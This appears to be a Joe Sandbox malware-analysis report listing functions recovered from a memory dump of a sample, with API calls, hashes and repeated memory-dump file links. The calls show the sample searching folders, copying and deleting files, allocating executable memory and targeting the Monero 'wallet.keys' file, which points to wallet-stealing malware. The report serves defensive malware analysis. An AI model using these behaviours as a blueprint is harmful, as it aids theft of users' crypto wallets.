Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: bc11c2e78dbea2293cf40c38ac7c181eb2df323d6cf937ca214b2474180e766b
Instruction ID: 2d0a0fb4d391ef6a087c8355fd9837bca4de1cbac9fa2e25ddb83b30c2b885bb
Opcode Fuzzy Hash: bc11c2e78dbea2293cf40c38ac7c181eb2df323d6cf937ca214b2474180e766b
Instruction Fuzzy Hash: D7F0CDB1A44218EBCB10CF88EC45FEABBBCFB48A20F000669F50592280D37929408BE1

Function 00A0B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

lstrlen.KERNEL32(00000000), ref: 00A0B9C2
lstrlen.KERNEL32(00000000), ref: 00A0B9D6

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 4a6f7fb9ca154a2360b60b22feb163db45540bbfb2ce4e8ffc6851f9f3bdbbb5
Instruction ID: 9e8ae1dc9fcee4ac5052204f77e2329abec629ce11cf2054954b0e0a9fe3bd1d
Opcode Fuzzy Hash: 4a6f7fb9ca154a2360b60b22feb163db45540bbfb2ce4e8ffc6851f9f3bdbbb5
Instruction Fuzzy Hash: 00E122769111189BDB15FBA0DE92EEE733CBF24310F404569F507A6091EF346B8ACB62

Function 00A0AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

lstrlen.KERNEL32(00000000), ref: 00A0B16A
lstrlen.KERNEL32(00000000), ref: 00A0B17E

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: e06b0e28ce1aecf07339e381c21f39c970e4f4b16a4c52c60a0d14e80e348193
Instruction ID: 2d599b95d330b2d66ce0f1764eac437a818e17fe7e3e4757d469a9f3e8e19032
Opcode Fuzzy Hash: e06b0e28ce1aecf07339e381c21f39c970e4f4b16a4c52c60a0d14e80e348193
Instruction Fuzzy Hash: 139122769111189BDB04FBA0DF96EEE7339BF24310F404569F507A6091EF346A89CBA2

Function 00A0B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

lstrlen.KERNEL32(00000000), ref: 00A0B42E
lstrlen.KERNEL32(00000000), ref: 00A0B442

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 41360803a9f4b5baefaed9dcbcc9c4256bdc3c43a8309ba3eb2535a4ddf2390d
Instruction ID: d47e3d74b411cb89e6c7e5051314130c77741b375cf88c27e5962627fadfcda8
Opcode Fuzzy Hash: 41360803a9f4b5baefaed9dcbcc9c4256bdc3c43a8309ba3eb2535a4ddf2390d
Instruction Fuzzy Hash: 027143769111189BDB04FBA0DF96EEE7339BF64310F444528F506A7091EF346A89CBA2

Function 00A14BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A18E0B

lstrcat.KERNEL32(?,00000000), ref: 00A14BEA
lstrcat.KERNEL32(?,010BD900), ref: 00A14C08

Part of subcall function 00A14910: wsprintfA.USER32 ref: 00A1492C
Part of subcall function 00A14910: FindFirstFileA.KERNEL32(?,?), ref: 00A14943

Part of subcall function 00A14910: StrCmpCA.SHLWAPI(?,00A20FDC), ref: 00A14971
Part of subcall function 00A14910: StrCmpCA.SHLWAPI(?,00A20FE0), ref: 00A14987
Part of subcall function 00A14910: FindNextFileA.KERNEL32(000000FF,?), ref: 00A14B7D
Part of subcall function 00A14910: FindClose.KERNEL32(000000FF), ref: 00A14B92

Part of subcall function 00A14910: wsprintfA.USER32 ref: 00A149B0
Part of subcall function 00A14910: StrCmpCA.SHLWAPI(?,00A208D2), ref: 00A149C5
Part of subcall function 00A14910: wsprintfA.USER32 ref: 00A149E2
Part of subcall function 00A14910: PathMatchSpecA.SHLWAPI(?,?), ref: 00A14A1E
Part of subcall function 00A14910: lstrcat.KERNEL32(?,010BE758), ref: 00A14A4A
Part of subcall function 00A14910: lstrcat.KERNEL32(?,00A20FF8), ref: 00A14A5C
Part of subcall function 00A14910: lstrcat.KERNEL32(?,?), ref: 00A14A70
Part of subcall function 00A14910: lstrcat.KERNEL32(?,00A20FFC), ref: 00A14A82
Part of subcall function 00A14910: lstrcat.KERNEL32(?,?), ref: 00A14A96
Part of subcall function 00A14910: CopyFileA.KERNEL32(?,?,00000001), ref: 00A14AAC
Part of subcall function 00A14910: DeleteFileA.KERNEL32(?), ref: 00A14B31

Part of subcall function 00A14910: wsprintfA.USER32 ref: 00A14A07

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: eb4ec9d8747660be4da9f1d3752d9100ea74bb2cd167e7254c76d2d4620520b4
Instruction ID: 1d730f5cc860b2663f74be891220dcb1117d4f6ec01328ed0f2d3a342c5b8fad
Opcode Fuzzy Hash: eb4ec9d8747660be4da9f1d3752d9100ea74bb2cd167e7254c76d2d4620520b4
Instruction Fuzzy Hash: AD41B3BAA001046BD754EBB4FD42FEE333DB789700F008518B54A56186FD75AAC88B92

Function 00A06660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00A06706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00A06753

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: dfbe882e46b723dc843f3bc59f53da10b28f480f43a4350d6aaf3669dcf21bba
Instruction ID: a87fa0c2f406fc44b9de0e4293a5f9c585a46e64a9711b4903235b86b28cb624
Opcode Fuzzy Hash: dfbe882e46b723dc843f3bc59f53da10b28f480f43a4350d6aaf3669dcf21bba
Instruction Fuzzy Hash: 8341B974A00209EFCB48CF58D494BADBBB1FF44318F248299E9599B395D731AA91CF84

Function 00A15050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A18E0B

lstrcat.KERNEL32(?,00000000), ref: 00A1508A
lstrcat.KERNEL32(?,010BE5C0), ref: 00A150A8

Part of subcall function 00A14910: wsprintfA.USER32 ref: 00A1492C
Part of subcall function 00A14910: FindFirstFileA.KERNEL32(?,?), ref: 00A14943

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 7d29966e84ab535ba4664ec4a7de13ac678d4125f9e293bb10cfb044107dd04f
Instruction ID: ded2bc2cea8367981919edfdf0e9552dbe9b6790e1cfbe23f250e5600b7a90c1
Opcode Fuzzy Hash: 7d29966e84ab535ba4664ec4a7de13ac678d4125f9e293bb10cfb044107dd04f
Instruction Fuzzy Hash: 4F01967A940208A7D754FBB0ED42FEE733CBB65700F004558B649571D1EE74AAC98BA2

Function 00A010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00A010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00A010F7

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
